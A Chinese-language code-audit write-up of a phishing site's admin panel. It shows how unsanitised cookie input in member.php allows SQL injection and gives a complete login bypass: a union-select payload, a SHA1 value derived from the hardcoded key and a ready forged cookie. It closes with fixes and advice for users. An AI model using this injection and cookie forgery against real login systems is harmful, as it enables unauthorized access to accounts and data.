偶遇钓鱼网站的一次代码审计
字数 858 2025-08-18 11:38:45
钓鱼网站代码审计与登录绕过技术分析
1. 钓鱼网站概述
本文分析的钓鱼网站采用常见的空间钓鱼CMS搭建,具有以下特点:
- 针对高校用户群体
- 通过钓鱼邮件传播
- 内置360safe防护机制
- 使用数据库存储窃取的凭证
2. 系统架构分析
2.1 文件结构
/index.php - 主入口文件
/login.php - 登录页面
/include/common.php - 公共配置文件
/config.php - 系统配置
/member.php - 用户认证逻辑
/list.php - 数据列表展示
2.2 关键配置
在common.php中发现加密密钥定义:
define('LOGIN_KEY', 'abchdbb768541');
3. 认证机制分析
3.1 登录流程
index.php检查$islogin参数- 未登录则跳转至
login.php - 登录后设置cookie:
- islogin
- admin_user (base64编码)
- admin_pass (加密后的密码)
3.2 认证逻辑(member.php)
// 检查cookie中islogin
if(!isset($_COOKIE['islogin'])){
// 未登录处理
}
// 解码admin_user
$admin_user = base64_decode($_COOKIE['admin_user']);
// 数据库查询
$sql = "SELECT * FROM fish_admin WHERE username='$admin_user' limit 1";
$udata = $db->getone($sql);
// 密码验证
$password = $udata['password'].LOGIN_KEY;
if(sha1($password) == $_COOKIE['admin_pass']){
$islogin = 1; // 登录成功
}
4. 登录绕过技术
4.1 漏洞原理
- SQL注入漏洞:
$admin_user直接拼接进SQL语句 - 密码验证逻辑缺陷:可通过注入控制返回的password值
4.2 绕过步骤
步骤1:构造恶意SQL注入
' union select 1,2,'1',4,5,6#
这将使查询返回的password字段值为'1'
步骤2:计算预期的admin_pass
- 拼接返回的password与LOGIN_KEY:
$password = '1' . 'abchdbb768541'; // = '1abchdbb768541' - 计算SHA1哈希:
sha1('1abchdbb768541'); // = 05b2d871710e7871de3193152c978fa60052ec1d
步骤3:构造恶意cookie
- 编码admin_user:
base64_encode("' union select 1,2,'1',4,5,6#"); // = JyB1bmlvbiBzZWxlY3QgMSwyLCcxJyw0LDUsNiM= - 完整cookie:
islogin=1; admin_user=JyB1bmlvbiBzZWxlY3QgMSwyLCcxJyw0LDUsNiM=; admin_pass=05b2d871710e7871de3193152c978fa60052ec1d;
5. 后台功能分析
成功绕过登录后,可访问后台功能:
- 查看被盗取的账户信息
- 通过
list.php的page参数翻页查看所有数据// list.php接受page参数 $page = $_GET['page'];
6. 安全建议
6.1 针对开发者的修复建议
- 使用预处理语句防止SQL注入
$stmt = $db->prepare("SELECT * FROM fish_admin WHERE username=? limit 1"); $stmt->execute([$admin_user]); - 加强认证机制:
- 使用HTTPS传输认证信息
- 实现CSRF保护
- 使用更安全的密码哈希算法(如bcrypt)
6.2 针对用户的防护建议
- 警惕不明来源的邮件
- 检查网站URL真实性
- 使用密码管理器避免重复密码
- 启用账户二次验证
7. 总结
本案例展示了钓鱼网站常见的几个安全问题:
- SQL注入漏洞
- 不安全的认证机制
- 敏感信息硬编码
- 缺乏输入验证
通过分析认证流程和利用漏洞,攻击者可以绕过登录直接访问后台。这强调了安全编码实践和深度防御策略的重要性。